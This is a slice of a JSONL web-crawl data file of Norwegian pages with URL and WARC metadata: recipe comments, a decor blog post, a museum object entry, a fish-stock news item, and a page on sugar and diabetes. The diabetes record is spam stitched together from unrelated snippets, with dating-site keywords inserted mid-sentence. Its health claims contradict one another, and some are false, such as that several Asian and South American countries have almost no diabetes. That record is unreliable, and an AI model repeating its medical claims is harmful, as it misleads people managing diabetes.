litt t\u00f8rre etter min smak. Nedtur\\!\n\nDe \u00f8verste burgerne er laget etter oppskriften her. De nederste er laget med maiskorn (en halv boks moset, en halv boks hele korn blandet inn) og solt\u00f8rket tomat. Veldig gode og saftige\\!\n\n\n\n\u00a0\n|  |                                                                                                                    |\n| :-: | :----------------------------------------------------------------------------------------------------------------: |\n|  |  |\n### 5 Comments\n\n1.  \n    \n    Anonym\n    \n    Yummy\u2026\u2026 Disse s\u00e5 bare s\u00e5 gode ut\u2026 jeg m\u00e5 pr\u00f8ve \u00e5 lage de \ud83d\ude00\n\n2.  \n    \n    bente\n    \n    Mmm, takk for oppskrift\\! Disse skal pr\u00f8ves \ud83d\ude42\n\n3.  \n    \n    sandra\n    \n    mars 29, 2011 at 8:07 pm \u00a0\u00b7\u00a0\u00a0Reply\n    \n    ser b\u00e5de godt ut og enkelt \u00e5 lage. Skal pr\u00f8ves\\!\n\n4.  \n    \n    connieomland\n    \n    mars 31, 2011 at 10:39 pm \u00a0\u00b7\u00a0\u00a0Reply\n    \n    namm\\! stress med s\u00e5 mye ingridienser..men er vel verdt det \ud83d\ude42\n\n5.  \n    \n    Sisselen\n    \n    mai 14, 2014 at 1:18 pm \u00a0\u00b7\u00a0\u00a0Reply\n    \n    Heisann  \n    Pr\u00f8vde meg p\u00e5 disse i g\u00e5r, de duftet nydelig, smaken var oxo god, men n\u00e5r det kom til stekingen s\u00e5 skj\u00f8nte jeg at noe ikke stemte \ud83d\ude42 M\u00e5 nesten sp\u00f8rre f\u00f8r jeg pr\u00f8ver meg p\u00e5 nytt, n\u00e5r du skriver maizenna mel, mener du den vanlige gule pakka? N\u00e5r det stod et ps om ikke instant s\u00e5 ble jeg s\u00e5 i tvil, oxo gikk jeg for rent maismel\u2026.. det bandt det ikke sammen \ud83d\ude42  \n    M\u00e5 si tusen takk for fantastisk oppskrift, oxo h\u00e5per jeg \u00e5 f\u00e5 burgere med litt bedre hold neste gang \ud83d\ude09\n\n", "language": "no", "__index_level_0__": "712d655f-dc7a-4468-b05b-3a0824073878"}
{"url": "http://dct777.com/4585-sukker-diabetes.php", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:44:07Z", "text": "# Sukker diabetes\n\n3\\. des 2017 MYTE: Sukker for\u00e5rsaker diabetes. Ideen om at man kan f\u00e5 diabetes ved \u00e5 spise sukker har blitt ganske popul\u00e6r i nyere tid som sukker har blitt stadig bakvasket. Men '\u00e5 f\u00e5 diabetes fra sukker' er ikke helt sant. Mens sukkerholdige matvarer er definitivt ikke bra for deg, kan de ikke for\u00e5rsake diabetes noe mer\u00a0Hei alle sammen\\! Jeg leste nettopp en artikkel p\u00e5 om planten Stevia rebaudiana som inneholder naturlige stoffer som er 250-300 ganger s\u00f8tere enn sukker. Veldig interessant i seg selv det, men en leser la igjen en laaaaang kommentar om hvor skadelig umettet fett er for mennesker. l norsk damer 13. nov 2012 De fleste mennesker som har diabetes har det som vi kaller diabetes type 2. \u2013 Diabetes type 2 er en sykdom hvor sukkerinnholdet i blodet er h\u00f8yere enn normalt, forklarer generalsekret\u00e6r i Diabetesforbundet, Bj\u00f8rnar Allgot. Dette skyldes at kroppen ikke klarer \u00e5 lage nok insulin. Diabetes debuterer gjerne\u00a0 21. okt 2014 Det anbefales et hjertevennlig kosthold ogs\u00e5 ved diabetes. Likevel er det viktig \u00e5 ha ekstra fokus p\u00e5 karbohydratene i kostholdet for \u00e5 regulere blodsukkeret bedre. Karbohydrater deles i tre hovdegrupper: sukker, stivelse og fiber. Mat med mye sukker og stivelse og lite fiber \u00f8ker blodsukkeret raskt. Dette er\u00a0Hva er diabetes type 2? Diabetes type 2 er en kronisk sykdom skyldes enten at kroppen ikke produserer nok av hormonet insulin, eller at insulinet utnyttes for d\u00e5rlig. Insulin bidrar til \u00e5 transportere sukker fra blodet inn i cellene i kroppen. Hvis man ikke produserer tilstrekkelige mengder insulin, vil det gi for h\u00f8ye\u00a0\n\n1\\. jun 2013 (SIDE2:) S\u00f8tningsmidler som Splenda og Natreen kan lede til diabetes. Stoffene endrer m\u00e5ten kroppen takler sukker p\u00e5, if\u00f8lge en ny medisinstudie som den britiske avisen Daily Mail har sett p\u00e5. Disse s\u00f8tningsmidlene er laget av stoffet sukralose. Dette er s\u00e5 \u00e5 si kalorifritt, men forskerne mener likevel at det\u00a011. apr 2014 Mens diabetes kjennetegnes av h\u00f8yt blodsukker, er lavt blodsukker, ogs\u00e5 kalt hypoglykemi, noe mange opplever f\u00f8r de utvikler diabetes. N\u00e5r man utfordrer kroppen med store mengder sukker eller stivelse, \u00f8ker blodsukkeret raskt. Det f\u00f8rer til stor utskillelse av insulin, som gir raskt blodsukkerfall, ofte under\u00a0 hva er 100 g sukker i dl Diabetes type 2 er en kronisk sykdom som inneb\u00e6rer at kroppen produserer for lite insulin eller at insulinet virker for d\u00e5rlig (insulinresistens). Insulin er et hormon som produseres i bukspyttkjertelen. Insulinet hjelper til med \u00e5 transportere karbohydratene inn i cellene hvor det lagres som sukker til kroppen trenger det. For lite\u00a0 N\u00e5r leveren samtidig m\u00e5 forbrenne alkohol, klarer den ikke \u00e5 lage sukker. Har du type 1-diabetes. Alt insulin ditt injiseres, og da har du ingen insulinproduksjon som kan skrues av. Derfor f\u00e5r du lettere lavt blodsukker n\u00e5r du har inntatt alkohol\u00a0Diabetes, ogs\u00e5 kjent som sukkersyke er en sykdom hvor sukkerinnholdet i blodet er for h\u00f8yt. Hvert \u00e5r rammer tusenvis av denne hemmende sykdommen og antallet diganostiserte tilfeller \u00f8ker for hvert \u00e5r. Kroppen til kvinner og menn med diabetes mellitus g\u00e5r ofte til angrep p\u00e5 egne celler av ukjente grunner. Hos diabetikere\u00a0\n\n## Mange diabetikere er lei av \u00e5 f\u00e5 det samme sp\u00f8rsm\u00e5let om og om\n\n29\\. aug 2012 Sukker. Sukker tas direkte og lynraskt opp i blodbanen. Det stiller store krav til kroppens produksjon av insulin, som presses i v\u00e6ret, og derfor er sukker et problem for diabetikere. Det er en myte at diabetikere ikke kan spise sukker. Spis et kakestykke og nyt et glass vin. Bare gj\u00f8r det med m\u00e5te og s\u00f8rg for \u00e5 dosere insulinen riktig. den russiske revolusjon kald krig Ved sv\u00e6rt lavt blodsukker kan folk virke beruset og f\u00e5 et glassaktig blikk. Det kan utvikle seg til bevisstl\u00f8shet og kramper. \u00c5rsaker til f\u00f8ling kan v\u00e6re: Tatt for mye insulin; Spist for lite; Gjort store fysiske anstrengelser; Drukket alkohol; V\u00e6rt utsatt for kraftig stress. Noen personer med diabetes merker ikke at blodsukkeret blir\u00a0SUKKERSYKE HOS HUND \u2013 DIABETES MELLITUS. Trass er en ni \u00e5r gammel storpuddeltispe. Hun er en glad og lykkelig hund som bor sammen med eieren sin. Trass har en normal hundehverdag med turer i skog og by, hun trener lydighet en gang i uken og er med matmor p\u00e5 jobb hver dag. Trass er veldig glad i mat og\u00a0 e-sbl kontakt 14. mar 2014 Insulin er et hormon som hjelper til med \u00e5 transportere karbohydratene, som omdannes til sukker i kroppen, inn i cellene hvor det lagres til vi trenger det. Pasienter med type-2 diabetes har bevart insulinproduksjon, men insulinet virker d\u00e5rligere enn normalt (insulinresistens), og insulinproduksjonen er\u00a0\n\nVi kan lagre litt sukker i leveren og musklene, men n\u00e5r disse lagrene er fylt, lagres resten som fett. Med mindre du er sv\u00e6rt fysisk aktiv, er det alts\u00e5 lett \u00e5 legge p\u00e5 seg hvis du spiser mye sukker- og stivelsesrik mat. Mange utvikler i dag diabetes type 2, og det skyldes at de spiser mer karbohydrater enn kroppen klarer \u00e5\u00a0 Det er en utbredt misoppfatning at det \u00e5 spise mye sukker f\u00f8rer til diabetes. Medisinsk forskning viser at sterk overvekt \u2014 uansett sukkerinntak \u2014 \u00f8ker risikoen blant dem som er genetisk disponert for sykdommen. Det \u00e5 spise for mye sukker er uansett usunt, for sukker inneholder lite n\u00e6ring og kan f\u00f8re til at en blir overvektig. finne kj\u00e6reste p\u00e5 nett mat Det begrepet er tatt fra humanmedisinen, hvor mange av disse pasientene har diabetes og/eller hjerte- og karsykdommer som en f\u00f8lge av overvekt. De spiser gress med masse sukker, og insulinen g\u00e5r i v\u00e6ret. Er det perioder den vokser masse er det sansynligvis ogs\u00e5 mye vekst og sukker i beitegresset til hesten din.Myndighetene anbefaler at kostholdet i hovedsak b\u00f8r v\u00e6re som r\u00e5dene til hele befolkningen . Det betyr blant annet fisk, egg, grove kornprodukter, gr\u00f8nnsaker, frukt og magre meieriprodukter. Matvarer som for eksempel loff, sukker, honning, ris og poteter inneholder mye av det som kalles \"raske karbohydrater\" og gir en\u00a0 e-dating definition Jeg m\u00e5 n\u00e5 unng\u00e5 s\u00e5 mye sukker som mulig. Derfor lurer jeg p\u00e5 om noen av dere har erfaring med \u00e5 bake med sukkersurrogater. Og hva bruker dere da ? Og hvor mye i forhold til 100 gram sukker ? Jeg vil helst slippe \u00e5 se de andre i familien spise kaker som er forbudt for meg. Jeg er nesten insulinresistent,dvs. immun\u00a0\n\nSukker kan v\u00e6re farlig. For den ene millionen nordmenn som enten har diabetes eller prediabetes er det \u00e5penbart at det er like ille \u00e5 spise bananer som \u00e5 drikke cola. Erik Hexeberg Dr. med. spes. indremed. Leder av Kostreform for bedre helse. 28. mars 2016 18:42. Aktuelt. Solgte bolig p\u00e5 f\u00f8rste fors\u00f8k, fikk 270.000 over\u00a0 Vintips til deg med diabetes: Vin med lite sukker Har du lyst til \u00e5 kose deg med et glass vin i sommer, uten at blodsukkeret blir p\u00e5virket i for stor grad? For deg med diabetes er det viktig \u00e5 merke seg at det er stor variasjon i sukkermengden i vin. Druer har et naturlig innhold av druesukker (glukose) og fruktsukker (fruktose). finne damer p\u00e5 nett 14. aug 2015 Utskillelsen av sukker i urinen medf\u00f8rer tap av kalorier, noe igjen kan medf\u00f8re at man g\u00e5r ned i vekt. Infeksjoner i urinveiene samt kl\u00f8e i skrittet er andre symptomer p\u00e5 diabetes. Det er viktig at diabetes blir behandlet s\u00e5 raskt som mulig. Mangel p\u00e5 behandling kan f\u00f8re til syreforgiftning (ketoacidose).DIABETES MELLITUS. Maten som spises omdannes til glukose (sukker), som er energikilden til kroppens celler. Cellene lagrer det ikke s\u00e5 det er til en hver tid en del glukose i blodet \u2013 et reservoar av energi. For \u00e5 kunne nyttiggj\u00f8re seg av glukosen i blodet trenger cellene en \"n\u00f8kkel\", og det er her insulinet kommer inn i\u00a0 sukker bilder wms 16. jan 2017 For mye sukker, enten det er hvitt, brunt, honning, sirup eller agave \u00f8ker triglyserider i blodet (fettstoffer), reduserer det gode kolesterolet (HDL) og bidrar med mange kalorier i kostholdet ditt, og er dermed en p\u00e5driver til utvikling av overvekt og flere livsstilssykdommer som metabolsk syndrom, diabetes type\u00a0\n\n13\\. jun 2017 Debatten b\u00f8lger rundt diabetes, korn og myndighetenes r\u00e5d. Noen hevder at all energi p\u00e5virker blodsukkeret. Ern\u00e6ringsfysiolog Tine Sundf\u00f8r skriver f\u00f8lgende i Dagbladet: \"Hexeberg p\u00e5st\u00e5r at det bare er karbohydrater som p\u00e5virker insulinet. Dette er feil. At all mat og drikke som inneholder energi p\u00e5virker\u00a0 24. okt 2011 Det finne mange typer diabetes men det er kun diabetes type 2 som er en livsstilsykdom. \u00c5 ha diabetes betyr som oftest at buksspyttkjertelen ikke sender ut med tilsrekkelig med insulin til kroppen slik at blodsukkeret ikke klarer \u00e5 holde seg balansert som kan f\u00f8re til at blodsukkeret ikke klarer \u00e5 holde seg\u00a0 forelsket engelsk Forh\u00f8yet blodsukkerniv\u00e5 (hyperglykemi) er karakteristisk for diabetes mellitus. Hos personer som ikke har diabetes, s\u00f8rger kroppens eget hormon, insulin, for at sukker fra kosten (glukose) blir tatt opp i cellene og omdannet til livsviktig energi. Dette gir et blodsukkerniv\u00e5 p\u00e5 4.4 til 6.6 mmol/l, men det kan stige til 7.7 mmol/l\u00a0Se ogs\u00e5: 10 tegn p\u00e5 diabetes som du ikke b\u00f8r ignorere. 3-insulin-sjekk. Det medisinske samfunnet har utviklet medikamenter som blokkerer ford\u00f8yelsen av sukker og stivelse. Dette reduserer risikoen din for \u00e5 f\u00e5 sukkertopper, og kontrollerer dermed diabetes. Nylig har imidlertid forskere oppdaget at eplecidereddik\u00a0 sjekking til fjells 7. feb 2017 Ved diabetes type 2 vil insulinresistens og mangel p\u00e5 insulin f\u00f8re til at sukkeret ikke blir transportert bort fra blodet slik det skal. Resultatet er at blodsukkeret blir h\u00f8yt. Et h\u00f8yt blodsukker er ugunstig av mange grunner. For det f\u00f8rste vil det f\u00f8re til mye sukker i urinen, noe som gir \u00f8kt urinmengde, hyppig\u00a0\n\nOppskrifter for kaker uten sukker og mel diabetes. P\u00e5 myTaste vil du finne 6977 oppskrifter for kaker uten sukker og mel diabetes samt tusenvis av lignende oppskrifter. 25. okt 2015 I VG nettutgaven kunne man 25.01. lese om en unders\u00f8kelse utf\u00f8rt av NTNU som fant at 100 av 1200 verdalinger hadde diabetes. I tilegg har mange glukoseinntolleranse, og st\u00e5r dermed i fare for \u00e5 utvikle diabetes. Dette antallet var for forskerne overraskende h\u00f8yt. Som \u00e5rsaker til diabetes dating tips kissing Dette har ikke rot i virkligheten. Og \" snus har s\u00e5 godt som ingen bivirkninger..\" Bare snus i vei, diabetes har det vertfall ingenting og gj\u00f8re med.. Og folk som ikke har diabetes kan helt uten problem ha 9 i blodsukker etter ett m\u00e5ltid eller st\u00f8rre inntak av sukker, det stabiliserer seg selv.. bjarneper.12. jan 2010 Bare fordi diabetikere har sukker begrensninger betyr ikke at de ikke kan nyte noe s\u00f8tt innimellom. Det finnes en rekke sukker erstatter som er velsmakende og har liten eller ingen innvirkning p\u00e5 blodsukkeret. Pr\u00f8v noen av disse diabetes sukker erstatninger\u00a0 x hvordan bli en god kj\u00e6resten Hvis det er lenge til neste m\u00e5ltid, b\u00f8r du ta en ekstra br\u00f8dskive eller lignende for \u00e5 stabilisere blodsukkeret. Hjernen fungerer ikke uten sukker og lavt blodsukker oppleves som om du mister kontrollen over kroppen. F\u00f8ling er sv\u00e6rt vanlig og insulinsjokk forekommer ogs\u00e5 hyppig. 10-25% av personer med type 1-diabetes vil\u00a0\n\nFruktose gir like mye kalorier som vanlig sukker, og mister en god del av s\u00f8tningsevnen i varme drikker og mat som stekes/bakes. Velg heller litt vanlig sukker der det trengs. Sukkerfrie sjokolader og godterier inneholder sukkeralkoholer som ikke er bra for personer med diabetes. De p\u00e5virker blodsukkeret og kan gi diar\u00e9. Diabetikere kan oppleve lavt blodsukker (hypoglykemi) eller f\u00f8ling. russian dating site photos Hypoglykemi (lavt blodsukker) hos personer uten diabetes. Hva er hypoglykemi (lavt blodsukker)?. Hypoglykemi (eller lavt blodsukker) er en tilstand hvor glukoseinnholdet (sukkerinnholdet) i blodet blir lavere enn en fastsatt grense (\\<2.5 mmol/L). Flere forskjellige symptomer er karakteristiske for hypoglykemi. Ved inntak av\u00a07. okt 2011 Mennesker med diabetes b\u00f8r spise sunn mat uten for mye sukker og mettet fett. Dette er det kostholdet hele befolkningen burde holde seg til. N\u00e5r det gjelder inntak av karbohydrater, b\u00f8r karbohydratene komme fra stivelsesholdige matvarer med h\u00f8yt innhold av kostfiber, og ikke fra sukker. Stivelsesholdige\u00a0 dansk dating p\u00e5 facebook 28. nov 2015 Jeg skulle \u00f8nske folk tenkte mer p\u00e5 \u00e5 ordne mat og kos uten s\u00e5 mye sukker n\u00e5r det er f\u00f8rjulsfester. Frukt og popcorn er mye bedre for oss som har diabetes \u2013 og sunnere for alle andre ogs\u00e5, sier Sander. Han tror mange vet lite om diabetes. Han skulle \u00f8nske folk visste mer. For eksempel at diabetes type 1\u00a0\n\nHva er diabetes. N\u00e5r man spiser s\u00e5 omdannes mye av maten til sukker som kommer ut i blodet. Her blir det transportert til cellene som energi for cellene. Denne transporten er det insulin som gj\u00f8r. Sukker og stivelse har mest effekt p\u00e5 niv\u00e5et av blodsukker. Proteiner, fett og karbohydrater med fiber, p\u00e5virker ikke s\u00e5 mye. Jeg fikk p\u00e5vist diabetes type 2 tidligere i \u00e5r, men har ved strengt kosthold (karbohydrater under 75) f\u00e5tt dette under kontroll (5,2). Jeg lurer p\u00e5 \u00e5 tillate noe mer karbohydrater (ikke sukker) i kostholdet, noe mer br\u00f8d, potetmos, stekt potet. Det jeg lurer p\u00e5 er: jeg tilsetter sesamfr\u00f8 og/eller solsikkekjerner til denne maten og\u00a0 chattesider for voksne symptomer 7. mar 2014 Diabetes. Tilstand der kroppen ikke er i stand til \u00e5 ta h\u00e5nd om sukker. Et konstant h\u00f8yt sukkerinntak kan ta knekken p\u00e5 systemet som er ment \u00e5 skulle regulere tilf\u00f8rselen av sukker til blodet. Et vedvarende h\u00f8yt blodsukkerniv\u00e5, kan f\u00f8re til type 2-diabetes \u2013 ogs\u00e5 kalt ikke-insulinavhengig diabetes eller\u00a07. jun 2017 Selv har jeg hatt diabetes type 1 i 21 \u00e5r og s\u00f8nnen min har hatt det i 6 \u00e5r. Om du sp\u00f8r meg og ham hva som er det mest slitsomme med diabetes type 1, s\u00e5 er det at \"alle\" tror vi er allergiske mot sukker. Det er sv\u00e6rt utbredt at barn/ungdom f\u00e5r spiseforstyrrelser i tillegg til sin diabetes og mye av \u00e5rsaken til det\u00a0 kiman woman xl Diabetes. Diabetes er en sykdom der blodets innhold av sukker er forh\u00f8yet. Derfor kalles det ogs\u00e5 sukkersyke. N\u00e5r vi spiser, blir karbohydratene i maten brutt ned til glukose (druesukker) og transportert over i blodet. N\u00e5r blodets innhold av glukose stiger, frigj\u00f8r bukspyttkjertelen hormonet insulin som hjelper med \u00e5\u00a0\n\nDiabetes er blant verdens mest kostbare sykdommer og utgj\u00f8r mellom seks og ti prosent av totale helsekostnader i industrialiserte land. I 2004 utgjorde egenm\u00e5ling av blod- sukker en reell helsekostnad p\u00e5 n\u00e6rmere 5,7 milliarder dollar p\u00e5 verdensbasis med en forventet \u00e5rlig vekst p\u00e5 11,5 prosent (1). I Norge brukes det\u00a0 18. des 2017 Det anbefales at personer med diabetes har en kost i tr\u00e5d med Helsedirektoratets kostr\u00e5d, men matvarer med mye stivelse og sukker p\u00e5virker blodsukkeret, og derfor b\u00f8r inntaket av slike matvarer tilpasses den enkelte. Ved bruk av m\u00e5ltidsinsulin tilpasses dosen inntaket. Kosten kjennetegnes av:. barberer sandefjord 14. nov 2017 Sykdommen rammer omsetningen av protein, fett og karbohydrater (sukker). En av konsekvensene av ubehandlet diabetes er at blodets sukkerinnhold blir for h\u00f8yt (hyperglykemi) slik at det ogs\u00e5 ofte skilles ut i urinen (glukosuri). En slik utvikling f\u00f8lges ofte av hyppig vannlating, t\u00f8rste, vekttap og nedsatt\u00a023. apr 2015 Et hormon som produseres av betaceller i de langerhanske \u00f8yer i bukspyttkjertelen. \u2022 Utskilles normalt til blodet avhengig av matinntak og blodsukkerniv\u00e5. \u2022 Insulin m\u00e5 til for \u00e5 f\u00e5 sukker (glukose) inn i de fleste celler. \u2022 Stimulerer lagring av glukose i leveren. (som glykogen). \u2022 Stimulerer til fettdannelse av\u00a0 x evig singeln Unders\u00f8kelsen kan ogs\u00e5 komplementeres med tester for akromegali, Cushings sykdom, samt test for s\u00e5kalt PLI, som kan \u00f8ke ved tegn p\u00e5 en bukspyttkjertelinflammasjon m.m. Alle disse sykdommene er slike som kan gi insulinresistens med etterf\u00f8lgende diabetes. Ved diabetes vil urinpr\u00f8ver vise sukker i urinen samt i visse\u00a0\n\nI dag er matens glykemiske indeks, eller glykemiske belastning, anerkjent som et viktig forhold i forst\u00e5elsen av metabolsk syndrom, diabetes og hjerte/kar-sykdom. Uraffinert r\u00e5r\u00f8rsukker, som lenge har v\u00e6rt popul\u00e6rt blant helsebevisste forbrukere, har en glykemisk indeks p\u00e5 65. Det er lavere enn det hvite sukkerets GI som\u00a0 dame s\u00f8ker par jour 29. nov 2008 Konklusjonen er derfor at disse julekakene er et godt og sunt alternativ, og kanskje spesielt for de som \u00f8nsker \u00e5 beholde midjem\u00e5let gjennom julen, de som frykter hyperaktive barn p\u00e5 for mye sukker eller de med diabetikere i familien. Oppskriftene finner du p\u00e5 Funksjonell mat sin hjemmeside. Sukrin og\u00a07.000 personer diabetes \u00e5rlig og sykdommen rammer stadig yngre. Hvert \u00e5r er det ca. 400 barn under 15 \u00e5r som f\u00e5r konstatert diabetes. I S\u00f8r-Amerika, Korea, Japan, Kina og andre land i \u00d8sten er det nesten ingen forekomster av diabetes - noe som bl.a. skyldes et lavglykemisk kosthold uten sukker og raske karbohydrater. ex kj\u00e6reste hege N\u00e5r det kommer til sukkerinntak, s\u00e5 vil jeg absolutt ikke tro at litt ekstra i forbindelse med trening \u00f8ker risioken for diabetes 2. Dessuten er jo ikke matvarene yoghurt, brunost og syltet\u00f8y akkurat usunne. En del har sant nok relativt h\u00f8yt innhold av sukker, men matvarene inneholder jo ogs\u00e5 en rekke mineraler\u00a0\n\n7\\. okt 2016 Kilde: Fakta om aspartam: Kunstig s\u00f8tningsstoff som er 120\u2013180 ganger s\u00f8tere enn sukker. Kom p\u00e5 markedet i 1981, og er blitt ett av de vanligste s\u00f8tningsstoffene. Aspartam brytes ned til fenylanalin og metaol (tresprit) i tarmen. Flere forskningsrapporter har s\u00e5dd tvil om aspartam er sunt. 6. feb 2013 Mye sukker = \u00f8kt kreftrisiko. Det er nettopp folk som lider av fedme og diabetes type 2 som virkelig b\u00f8r gj\u00f8re noe med sukkerinntaket. Forskning har nemlig vist at et h\u00f8yt sukkerinntak hos disse \u00f8ker faren for \u00e5 f\u00e5 mage- og tarmkreft. Dr. Custodia Garcia-Jimenez ved Universidad de Rey Juan Carlos i Madrid\u00a0 kristendate app b\u00e5t Blodsukkerapparater er et viktig og sv\u00e6rt nyttig hjelpemiddel i egenbehandlingen av diabetes. Bruk likevel litt tid p\u00e5 \u00e5 l\u00e6re deg \u00e5 kjenne igjen symptomene p\u00e5 h\u00f8yt og lavt blodsukker. Det hender du er uten m\u00e5leapparatet, og det hender du trenger mat s\u00e5 raskt at du ikke har tid til \u00e5 m\u00e5le blodsukkeret. Neste gang du m\u00e5ler\u00a0Sukkersyke \u2013 Diabetes Mellitus. Diabetes kommer fra latin og betyr noe som renner igjennom. Forklaringen er at pasienter med ubehandlet diabetes, eller sukkersyke som er det norske navnet, ofte har stort urinvolum. Mellitus betyr s\u00f8t og viser til den s\u00f8te smaken p\u00e5 urin ved diabetes. For mye sukker i blodet er felles for\u00a0 gratis datingsider i norge oppskrift Vi anbefaler derfor alle med diabetes \u00e5 pr\u00f8ve seg forsiktig frem ved bruken av FiberSirup, og forvente noe blodsukkerstigning. Stigningen vil v\u00e6re mindre enn ved inntak av tradisjonell sirup, honning eller sukker, men kan kanskje v\u00e6re h\u00f8yere enn hva man forventer av et produkt med s\u00e5 lite sukkerarter og mye fiber. Det er\u00a0\n\n14\\. mar 2016 \u00c5 sette likhetstegn mellom sukker og karbohydrater, er feil. Og humus er et sunnere valg enn egg og bacon \u2013 ikke bare for dem med diabetes.\n\n\n\n", "language": "no", "__index_level_0__": "75c4d697-326b-45ad-9e39-9ca0171fa921"}
{"url": "http://hvitbalkong.blogspot.com/2013/11/vinterstemning.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-24T23:42:33Z", "text": "\n\n## tirsdag 5. november 2013\n\n### Vinterstemning\n\nHver \u00e5rstid har sin sjarm, det er helt sikkert. Sikkert er det ogs\u00e5 at \u00e5rets h\u00f8st snart er over, den har sust avg\u00e5rde\\! Guttene mine snakker stadig oftere\u00a0om nissen og adventskalender og julegave\u00f8nsker, s\u00e5 det er tydelig hva som n\u00e6rmer seg...\n\nDet n\u00e6rmer seg vinter n\u00e5r jeg ogs\u00e5 m\u00e5 skrape bilvinduer n\u00e6rmest hver dag f\u00f8r jeg skal p\u00e5 jobb. Akkurat det er litt kjedelig.  \nVinterstemningen kommer snikende og det m\u00e5 gjerne komme et lite sn\u00f8dryss snart, det er aldri meg i mot.  \nJeg viser litt vinterstemning fra entreen v\u00e5r, og blir med det med i NIBs utfordring i november: Vinterstemning. Klikk ogs\u00e5\u00a0p\u00e5 lenken for \u00e5 se flere bidrag\\!  \n  \n\n\n\n  \n|  |\n|                                                                                                  |\n\n\n\ntirsdag, november 05, 2013           \n\n#### 4 kommentarer:\n1.  \n    \n    Bl\u00e5b\u00e6rtua5. november 2013 kl. 20:03\n    \n    Det g\u00e5r s\u00e5 utrulig fort n\u00e5,og litt planlegging m\u00e5 til sj\u00f8lv om eg her er mest opptatt av \u00e5 pusse opp ferdig til eg skal pynte til jul Hihi :)  \n    Gleder meg til \u00e5 pynte til jul her i nye huset,kommer sikkert til \u00e5 mangl julepynt:)  \n      \n    \u00d8nsker deg ein fin kveld\\!'klem fra Lillian\n    \n2.  \n    \n    Har en dr\u00f8m...7. november 2013 kl. 08:26\n    \n    S\u00e5 koselige bilder, med masse god vinterstemning:))  \n    Lykke til \u2665\n    \n3.  \n    \n    Lykke i Jordb\u00e6rveien9. november 2013 kl. 14:14\n    \n    S\u00e5 fine bilder, dette er en fantastisk tid\u2665 Elsker alt med denne tiden av \u00e5ret\u2665 \u00d8nsker deg og dine en kjempe fin helg\u2665 klem Mari\n    \n4.  \n    \n    Fabelaktig12. november 2013 kl. 16:03\n    \n    Nydelige bilder \u2665\n    \n", "language": "no", "__index_level_0__": "bbbbdfaf-effd-44c2-9afc-c6394662c347"}
{"url": "https://digitaltmuseum.no/01102375868/krans", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00301.warc.gz", "warc_date": "2018-03-24T23:22:01Z", "text": "# Krans\n\nDobbelkrans i s\u00f8lv med palmekrans ytterst og laurb\u00e6r og eikel\u00f8v innerst. Sl\u00f8yfe nederst. Kransen er sydd ned p\u00e5 en hvit silkepute kantet med snorer og knuter i hj\u00f8rnene. Kransen har et hvitt melkeaktig utseende, som s\u00f8lv f\u00e5r som ikke er pusset og polert etter at det er gl\u00f8det og dyppet i syre.(Oppkok av svovelsyre og vann.)\n\n", "language": "no", "__index_level_0__": "1269eb8b-0f3d-404d-815a-2f604bc612e6"}
{"url": "https://www.kystmagasinet.no/nyheter/torskeprisen-drar-aker-seafoods-til-bunns/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00283.warc.gz", "warc_date": "2018-03-24T23:17:06Z", "text": "        ### Ny flott pelagisk tr\u00e5ler d\u00f8pt\n        \n# Torskeprisen drar Aker Seafoods til bunns\n\n \n\n19/04/2009\n\nMens lakseoppdretterne klatrer p\u00e5 b\u00f8rsen, faller Aker Seafoods som en stein parallelt med torskeprisen. Aksjen er \u00e5rets soleklare taper blant samtlige fiskeaksjer p\u00e5 Oslo B\u00f8rs.\n\n-----\n\n( 19.04.2009 )\n\nSelv kriserammede Codfarmers har klart seg bedre i \u00e5r. Sett i et 12 m\u00e5neders perspektiv er aksjene til Aker Seafoods og Codfarmers i n\u00f8yaktig samme bunnklasse med et fall p\u00e5 dramatiske 88 prosent. Bare tidels prosenter skiller selskapene.\n\n\u00a0\nMye kan tyde p\u00e5 at Aker Seafoods har f\u00e5tt urettferdig mye juling siden nytt\u00e5r. Med et fall p\u00e5 37,98 prosent samtidig som b\u00f8rsen generelt, og de fleste sj\u00f8mataksjer spesielt, har hatt en positiv utvikling, har investorene p\u00e5 b\u00f8rsen dumpet Aker. Tr\u00f8sten er at aksjen er opp 1,27 prosent siste m\u00e5ned, noe som kan tyde p\u00e5 at fallet n\u00e5 har flatet ut. N\u00e5 dreier sv\u00e6rt mye seg om hvor lenge markedet forventer at torskeprisen skal v\u00e6re i bunn, og hvor mye tap selskapet vil bli p\u00e5f\u00f8rt av \u00e5 t\u00f8mme lagre for dyrt innkj\u00f8pt fisk til bunnpriser.\n\n\u00a0\n\u00c5rets soleklare vinnere blant sj\u00f8mataksjene er Marine Harvest som siden nytt\u00e5r har lagt p\u00e5 seg rett under 124 prosent, og peruvianske Copeinca som er opp over 05 prosent. Halvparten av sj\u00f8mataksjene er opp hittil i \u00e5r. Cermaq som tidligere i \u00e5r fikk de chilenske sykdomsproblemene rett i fanget, ser ut til \u00e5 ha ristet disse av seg, og er n\u00e5 opp 32 prosent. Bare siste m\u00e5ned er denne aksjen opp 22 prosent.\u00a0 Grieg Seafood er en annen lakseaksje som gir grunn til smil. Den er opp 59 prosent siden nytt\u00e5r og 46 prosent siste m\u00e5ned.\n\n\u00a0\n**Sj\u00f8matselskaper: Utvikling i b\u00f8rsverdi**\n\n", "language": "no", "__index_level_0__": "5290875e-ca13-475c-b50a-93dbfdcd2374"}
